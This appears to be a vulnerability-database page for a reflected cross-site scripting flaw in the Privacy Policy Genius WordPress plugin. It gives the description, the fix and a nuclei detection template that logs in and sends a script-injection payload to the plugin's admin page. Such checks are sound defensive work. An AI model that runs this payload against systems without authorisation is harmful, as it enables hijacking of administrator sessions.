HexBrain

Browse / CVEs / CVE-2024-13219

CVE-2024-13219· waelhassan / privacy policy genius· CWE-79

Privacy Policy Genius - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

Privacy Policy Genius WordPress plugin v2.0.4 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to the latest version of the plugin where input sanitization and escaping are properly implemented.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=privacy_guru&tab=audit"></script><script>alert(document.domain)</script><script>&refresh=1
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "privacy_policy") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13219 -u <target>

The full check
id: CVE-2024-13219

info:
  name: Privacy Policy Genius - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Privacy Policy Genius WordPress plugin v2.0.4 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where input sanitization and escaping are properly implemented.
  reference:
    - https://wpscan.com/vulnerability/3ad02238-dce1-48ce-986f-fef36b110b2d/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13219
    cwe-id: CWE-79
    epss-score: 0.00597
    epss-percentile: 0.48913
    cpe: cpe:2.3:a:waelhassan:privacy_policy_genius:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: waelhassan
    product: privacy_policy_genius
    publicwww-query: "/plugins/policy-genius/"
  tags: cve,cve2024,waelhassan,privacy-policy-genius,wordpress,wp,wp-plugin,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=privacy_guru&tab=audit"></script><script>alert(document.domain)</script><script>&refresh=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "privacy_policy")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from